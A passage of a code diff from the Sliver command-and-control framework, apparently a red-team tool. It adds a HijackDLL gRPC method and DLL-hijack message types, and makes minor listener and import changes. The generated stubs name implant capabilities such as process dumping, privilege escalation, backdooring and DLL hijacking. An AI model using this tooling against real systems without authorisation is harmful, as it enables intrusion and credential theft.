|
||||
16, // 135: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
|
||||
19, // 136: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
|
||||
94, // 137: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
|
||||
95, // 138: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
|
||||
96, // 139: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
|
||||
97, // 140: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
|
||||
98, // 141: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
|
||||
99, // 142: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
|
||||
99, // 143: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
|
||||
100, // 144: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
|
||||
101, // 145: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
|
||||
102, // 146: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
|
||||
103, // 147: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
|
||||
104, // 148: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
|
||||
105, // 149: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
|
||||
106, // 150: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
|
||||
107, // 151: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
|
||||
108, // 152: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
|
||||
109, // 153: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
|
||||
0, // 154: rpcpb.SliverRPC.Msf:output_type -> commonpb.Empty
|
||||
0, // 155: rpcpb.SliverRPC.MsfRemote:output_type -> commonpb.Empty
|
||||
110, // 156: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
|
||||
111, // 157: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
|
||||
112, // 158: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
|
||||
112, // 159: rpcpb.SliverRPC.ExecuteToken:output_type -> sliverpb.Execute
|
||||
113, // 160: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
|
||||
114, // 161: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
|
||||
115, // 162: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
|
||||
116, // 163: rpcpb.SliverRPC.NamedPipes:output_type -> sliverpb.NamedPipes
|
||||
117, // 164: rpcpb.SliverRPC.TCPListener:output_type -> sliverpb.TCPPivot
|
||||
118, // 165: rpcpb.SliverRPC.ListPivots:output_type -> sliverpb.PivotList
|
||||
119, // 166: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
|
||||
119, // 167: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
|
||||
119, // 168: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
|
||||
120, // 169: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
|
||||
121, // 170: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
|
||||
122, // 171: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
|
||||
123, // 172: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
|
||||
124, // 173: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
|
||||
125, // 174: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
|
||||
126, // 175: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
|
||||
127, // 176: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
|
||||
128, // 177: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
|
||||
129, // 178: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
|
||||
129, // 179: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
|
||||
130, // 180: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
|
||||
130, // 181: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
|
||||
131, // 182: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
|
||||
132, // 183: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
|
||||
133, // 184: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
|
||||
134, // 185: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
|
||||
69, // 186: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
|
||||
0, // 187: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
|
||||
70, // 188: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
|
||||
135, // 189: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
|
||||
95, // [95:190] is the sub-list for method output_type
|
||||
0, // [0:95] is the sub-list for method input_type
|
||||
61, // 83: rpcpb.SliverRPC.HijackDLL:input_type -> sliverpb.DllHijackReq
|
||||
62, // 84: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
|
||||
63, // 85: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
|
||||
64, // 86: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
|
||||
65, // 87: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
|
||||
66, // 88: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
|
||||
67, // 89: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
|
||||
68, // 90: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
|
||||
69, // 91: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
|
||||
70, // 92: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
|
||||
70, // 93: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
|
||||
71, // 94: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
|
||||
0, // 95: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
|
||||
72, // 96: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
|
||||
73, // 97: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
|
||||
74, // 98: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
|
||||
0, // 99: rpcpb.SliverRPC.KillSession:output_type -> commonpb.Empty
|
||||
75, // 100: rpcpb.SliverRPC.UpdateSession:output_type -> clientpb.Session
|
||||
76, // 101: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
|
||||
0, // 102: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
|
||||
77, // 103: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
|
||||
78, // 104: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
|
||||
79, // 105: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
|
||||
80, // 106: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
|
||||
81, // 107: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
|
||||
82, // 108: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
|
||||
82, // 109: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
|
||||
83, // 110: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
|
||||
83, // 111: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
|
||||
9, // 112: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
|
||||
0, // 113: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
|
||||
9, // 114: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
|
||||
9, // 115: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
|
||||
84, // 116: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
|
||||
84, // 117: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
|
||||
85, // 118: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
|
||||
85, // 119: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
|
||||
86, // 120: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
|
||||
0, // 121: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
|
||||
87, // 122: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
|
||||
88, // 123: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
|
||||
89, // 124: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
|
||||
90, // 125: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
|
||||
0, // 126: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
|
||||
13, // 127: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
|
||||
91, // 128: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
|
||||
92, // 129: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
|
||||
93, // 130: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
|
||||
94, // 131: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
|
||||
16, // 132: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
|
||||
0, // 133: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
|
||||
16, // 134: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
|
||||
16, // 135: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
|
||||
16, // 136: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
|
||||
19, // 137: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
|
||||
95, // 138: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
|
||||
96, // 139: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
|
||||
97, // 140: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
|
||||
98, // 141: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
|
||||
99, // 142: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
|
||||
100, // 143: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
|
||||
100, // 144: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
|
||||
101, // 145: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
|
||||
102, // 146: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
|
||||
103, // 147: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
|
||||
104, // 148: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
|
||||
105, // 149: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
|
||||
106, // 150: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
|
||||
107, // 151: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
|
||||
108, // 152: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
|
||||
109, // 153: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
|
||||
110, // 154: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
|
||||
0, // 155: rpcpb.SliverRPC.Msf:output_type -> commonpb.Empty
|
||||
0, // 156: rpcpb.SliverRPC.MsfRemote:output_type -> commonpb.Empty
|
||||
111, // 157: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
|
||||
112, // 158: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
|
||||
113, // 159: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
|
||||
113, // 160: rpcpb.SliverRPC.ExecuteToken:output_type -> sliverpb.Execute
|
||||
114, // 161: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
|
||||
115, // 162: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
|
||||
116, // 163: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
|
||||
117, // 164: rpcpb.SliverRPC.NamedPipes:output_type -> sliverpb.NamedPipes
|
||||
118, // 165: rpcpb.SliverRPC.TCPListener:output_type -> sliverpb.TCPPivot
|
||||
119, // 166: rpcpb.SliverRPC.ListPivots:output_type -> sliverpb.PivotList
|
||||
120, // 167: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
|
||||
120, // 168: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
|
||||
120, // 169: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
|
||||
121, // 170: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
|
||||
122, // 171: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
|
||||
123, // 172: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
|
||||
124, // 173: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
|
||||
125, // 174: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
|
||||
126, // 175: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
|
||||
127, // 176: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
|
||||
128, // 177: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
|
||||
129, // 178: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
|
||||
130, // 179: rpcpb.SliverRPC.HijackDLL:output_type -> sliverpb.DllHijack
|
||||
131, // 180: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
|
||||
131, // 181: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
|
||||
132, // 182: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
|
||||
132, // 183: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
|
||||
133, // 184: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
|
||||
134, // 185: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
|
||||
135, // 186: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
|
||||
136, // 187: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
|
||||
70, // 188: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
|
||||
0, // 189: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
|
||||
71, // 190: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
|
||||
137, // 191: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
|
||||
96, // [96:192] is the sub-list for method output_type
|
||||
0, // [0:96] is the sub-list for method input_type
|
||||
0, // [0:0] is the sub-list for extension type_name
|
||||
0, // [0:0] is the sub-list for extension extendee
|
||||
0, // [0:0] is the sub-list for field type_name
|
||||
|
||||
@@ -113,6 +113,7 @@ service SliverRPC {
|
||||
rpc RegistryWrite(sliverpb.RegistryWriteReq) returns (sliverpb.RegistryWrite);
|
||||
rpc RegistryCreateKey(sliverpb.RegistryCreateKeyReq) returns (sliverpb.RegistryCreateKey);
|
||||
rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
|
||||
rpc HijackDLL(sliverpb.DllHijackReq) returns (sliverpb.DllHijack);
|
||||
|
||||
// *** Wireguard Specific ***
|
||||
rpc WGStartPortForward(sliverpb.WGPortForwardStartReq) returns (sliverpb.WGPortForward);
|
||||
|
||||
@@ -115,6 +115,7 @@ type SliverRPCClient interface {
|
||||
RegistryWrite(ctx context.Context, in *sliverpb.RegistryWriteReq, opts ...grpc.CallOption) (*sliverpb.RegistryWrite, error)
|
||||
RegistryCreateKey(ctx context.Context, in *sliverpb.RegistryCreateKeyReq, opts ...grpc.CallOption) (*sliverpb.RegistryCreateKey, error)
|
||||
RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
|
||||
HijackDLL(ctx context.Context, in *sliverpb.DllHijackReq, opts ...grpc.CallOption) (*sliverpb.DllHijack, error)
|
||||
// *** Wireguard Specific ***
|
||||
WGStartPortForward(ctx context.Context, in *sliverpb.WGPortForwardStartReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error)
|
||||
WGStopPortForward(ctx context.Context, in *sliverpb.WGPortForwardStopReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error)
|
||||
@@ -888,6 +889,15 @@ func (c *sliverRPCClient) RunSSHCommand(ctx context.Context, in *sliverpb.SSHCom
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *sliverpb.DllHijackReq, opts ...grpc.CallOption) (*sliverpb.DllHijack, error) {
|
||||
out := new(sliverpb.DllHijack)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HijackDLL", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) WGStartPortForward(ctx context.Context, in *sliverpb.WGPortForwardStartReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error) {
|
||||
out := new(sliverpb.WGPortForward)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGStartPortForward", in, out, opts...)
|
||||
@@ -1139,6 +1149,7 @@ type SliverRPCServer interface {
|
||||
RegistryWrite(context.Context, *sliverpb.RegistryWriteReq) (*sliverpb.RegistryWrite, error)
|
||||
RegistryCreateKey(context.Context, *sliverpb.RegistryCreateKeyReq) (*sliverpb.RegistryCreateKey, error)
|
||||
RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
|
||||
HijackDLL(context.Context, *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error)
|
||||
// *** Wireguard Specific ***
|
||||
WGStartPortForward(context.Context, *sliverpb.WGPortForwardStartReq) (*sliverpb.WGPortForward, error)
|
||||
WGStopPortForward(context.Context, *sliverpb.WGPortForwardStopReq) (*sliverpb.WGPortForward, error)
|
||||
@@ -1411,6 +1422,9 @@ func (UnimplementedSliverRPCServer) RegistryCreateKey(context.Context, *sliverpb
|
||||
func (UnimplementedSliverRPCServer) RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method RunSSHCommand not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method HijackDLL not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) WGStartPortForward(context.Context, *sliverpb.WGPortForwardStartReq) (*sliverpb.WGPortForward, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method WGStartPortForward not implemented")
|
||||
}
|
||||
@@ -2954,6 +2968,24 @@ func _SliverRPC_RunSSHCommand_Handler(srv interface{}, ctx context.Context, dec
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_HijackDLL_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.DllHijackReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).HijackDLL(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/HijackDLL",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).HijackDLL(ctx, req.(*sliverpb.DllHijackReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_WGStartPortForward_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.WGPortForwardStartReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -3520,6 +3552,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "RunSSHCommand",
|
||||
Handler: _SliverRPC_RunSSHCommand_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "HijackDLL",
|
||||
Handler: _SliverRPC_HijackDLL_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "WGStartPortForward",
|
||||
Handler: _SliverRPC_WGStartPortForward_Handler,
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
package sliverpb
|
||||
|
||||
import (
|
||||
proto "github.com/golang/protobuf/proto"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
/*
|
||||
@@ -20,9 +20,23 @@ import (
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// Message Name Constants
|
||||
------------------------------------------------------------------------------------
|
||||
|
||||
|
||||
██ ██ █████ ██████ ███ ██ ██ ███ ██ ██████
|
||||
██ ██ ██ ██ ██ ██ ████ ██ ██ ████ ██ ██
|
||||
██ █ ██ ███████ ██████ ██ ██ ██ ██ ██ ██ ██ ██ ███
|
||||
██ ███ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
|
||||
███ ███ ██ ██ ██ ██ ██ ████ ██ ██ ████ ██████
|
||||
|
||||
!!! The order of constants is APPEND ONLY !!!
|
||||
|
||||
If you insert values into this file it is very important that you only append the
|
||||
order of the constants. If you do not you will break backwards compatibility with
|
||||
implants.
|
||||
|
||||
*/
|
||||
|
||||
const (
|
||||
|
||||
|
||||
+752
-561
File diff suppressed because it is too large.
Load diff
@@ -351,6 +351,7 @@ message SideloadReq {
|
||||
string Args = 3;
|
||||
string EntryPoint = 4;
|
||||
bool Kill = 5;
|
||||
bool isDLL = 6;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
@@ -768,4 +769,18 @@ message SSHCommand {
|
||||
string StdOut = 1;
|
||||
string StdErr = 2;
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message DllHijackReq {
|
||||
string ReferenceDLLPath = 1;
|
||||
string TargetLocation = 2;
|
||||
bytes ReferenceDLL = 3;
|
||||
bytes TargetDLL = 4;
|
||||
string ProfileName = 5;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message DllHijack {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
+4
-2
@@ -6,7 +6,7 @@ This directory contains the Sliver server implementation, and is structured as f
|
||||
* `assets/` - Static assets embedded in the server binary, and methods for manipulating these assets.
|
||||
* `c2/` - The server-side command and control implementations
|
||||
* `certs/` - X509 certificate generation and management code
|
||||
* `cli` - The command line arg parser
|
||||
* `cli` - The command line interface implementation
|
||||
* `configs/` - Configuration file parsers
|
||||
* `console/` - Server specific console code, the majority of the Sliver console code is in `/client/console`
|
||||
* `core/` - Data structures and methods that manage connection state from implants, clients, etc.
|
||||
@@ -14,12 +14,14 @@ This directory contains the Sliver server implementation, and is structured as f
|
||||
* `daemon/` - Method for starting the server as a daemon
|
||||
* `db/` - Database client, helper functions, and ORM models
|
||||
* `generate/` - This package generates the implant executables and shared libraries
|
||||
* `gobfuscate/` - Compile-time obfuscation library
|
||||
* `gogo/` - Go wrappers around the Go compiler tool chain
|
||||
* `handlers/` - Methods invoke-able by implants without user interaction
|
||||
* `log/` - Wrappers around Logrus
|
||||
* `loot/` - Server's local 'loot' implementation
|
||||
* `msf/` - Metasploit helper functions
|
||||
* `netstack/` - WireGuard server network stack
|
||||
* `rpc/` - Remote procedure call implementations, generally called by the `/client/` code
|
||||
* `transport/` - Code that wires the server to the `/client`
|
||||
* `watchtower/` - Code that monitors threat intel platforms for implants
|
||||
* `website/` - Code that manages static content to host on HTTP(S) C2 domains
|
||||
* `main.go` - Entrypoint
|
||||
+13
-13
@@ -71,7 +71,7 @@ func StartMTLSListenerJob(host string, listenPort uint16) (*core.Job, error) {
|
||||
|
||||
// StartWGListenerJob - Start a WireGuard listener as a job
|
||||
func StartWGListenerJob(listenPort uint16, nListenPort uint16, keyExchangeListenPort uint16) (*core.Job, error) {
|
||||
ln, dev, currenWGConf, err := StartWGListener(listenPort, nListenPort, keyExchangeListenPort)
|
||||
ln, dev, currentWGConf, err := StartWGListener(listenPort, nListenPort, keyExchangeListenPort)
|
||||
if err != nil {
|
||||
return nil, err // If we fail to bind don't setup the Job
|
||||
}
|
||||
@@ -88,8 +88,8 @@ func StartWGListenerJob(listenPort uint16, nListenPort uint16, keyExchangeListen
|
||||
ticker := time.NewTicker(5 * time.Second)
|
||||
done := make(chan bool)
|
||||
|
||||
// Every 5 seconds update the wirguard config to include new peers
|
||||
go func(dev *device.Device, currenWGConf *bytes.Buffer) {
|
||||
// Every 5 seconds update the wireguard config to include new peers
|
||||
go func(dev *device.Device, currentWGConf *bytes.Buffer) {
|
||||
oldNumPeers := 0
|
||||
for {
|
||||
select {
|
||||
@@ -107,15 +107,15 @@ func StartWGListenerJob(listenPort uint16, nListenPort uint16, keyExchangeListen
|
||||
|
||||
oldNumPeers = len(currentPeers)
|
||||
|
||||
jobLog.Infof("Old WG config for peers: %s", currenWGConf.String())
|
||||
jobLog.Infof("Old WG config for peers: %s", currentWGConf.String())
|
||||
for k, v := range currentPeers {
|
||||
fmt.Fprintf(currenWGConf, "public_key=%s\n", k)
|
||||
fmt.Fprintf(currenWGConf, "allowed_ip=%s/32\n", v)
|
||||
fmt.Fprintf(currentWGConf, "public_key=%s\n", k)
|
||||
fmt.Fprintf(currentWGConf, "allowed_ip=%s/32\n", v)
|
||||
}
|
||||
|
||||
jobLog.Infof("New WG config for peers: %s", currenWGConf.String())
|
||||
jobLog.Infof("New WG config for peers: %s", currentWGConf.String())
|
||||
|
||||
if err := dev.IpcSetOperation(bufio.NewReader(currenWGConf)); err != nil {
|
||||
if err := dev.IpcSetOperation(bufio.NewReader(currentWGConf)); err != nil {
|
||||
jobLog.Errorf("Failed to update Wireguard Config %s", err)
|
||||
continue
|
||||
}
|
||||
@@ -123,7 +123,7 @@ func StartWGListenerJob(listenPort uint16, nListenPort uint16, keyExchangeListen
|
||||
}
|
||||
}
|
||||
}
|
||||
}(dev, currenWGConf)
|
||||
}(dev, currentWGConf)
|
||||
|
||||
go func() {
|
||||
<-job.JobCtrl
|
||||
@@ -146,15 +146,15 @@ func StartWGListenerJob(listenPort uint16, nListenPort uint16, keyExchangeListen
|
||||
}
|
||||
|
||||
// StartDNSListenerJob - Start a DNS listener as a job
|
||||
func StartDNSListenerJob(domains []string, canaries bool, listenPort uint16) (*core.Job, error) {
|
||||
server := StartDNSListener(domains, canaries)
|
||||
func StartDNSListenerJob(bindIface string, lport uint16, domains []string, canaries bool) (*core.Job, error) {
|
||||
server := StartDNSListener(bindIface, lport, domains, canaries)
|
||||
description := fmt.Sprintf("%s (canaries %v)", strings.Join(domains, " "), canaries)
|
||||
job := &core.Job{
|
||||
ID: core.NextJobID(),
|
||||
Name: "dns",
|
||||
Description: description,
|
||||
Protocol: "udp",
|
||||
Port: listenPort,
|
||||
Port: lport,
|
||||
JobCtrl: make(chan bool),
|
||||
Domains: domains,
|
||||
}
|
||||
@@ -362,7 +362,7 @@ func StartPersistentJobs(cfg *configs.ServerConfig) error {
|
||||
}
|
||||
|
||||
for _, j := range cfg.Jobs.DNS {
|
||||
job, err := StartDNSListenerJob(j.Domains, j.Canaries, j.Port)
|
||||
job, err := StartDNSListenerJob(j.Host, j.Port, j.Domains, j.Canaries)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
+1
-1
@@ -27,7 +27,7 @@ import (
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
serverHandlers "github.com/bishopfox/sliver/server/handlers"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/golang/protobuf/proto"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
|
||||
@@ -47,8 +47,8 @@ import (
|
||||
"github.com/bishopfox/sliver/server/website"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
|
||||
"github.com/golang/protobuf/proto"
|
||||
"github.com/gorilla/mux"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
|
||||
@@ -33,7 +33,7 @@ import (
|
||||
serverHandlers "github.com/bishopfox/sliver/server/handlers"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
|
||||
"github.com/golang/protobuf/proto"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
|
||||
+1
-1
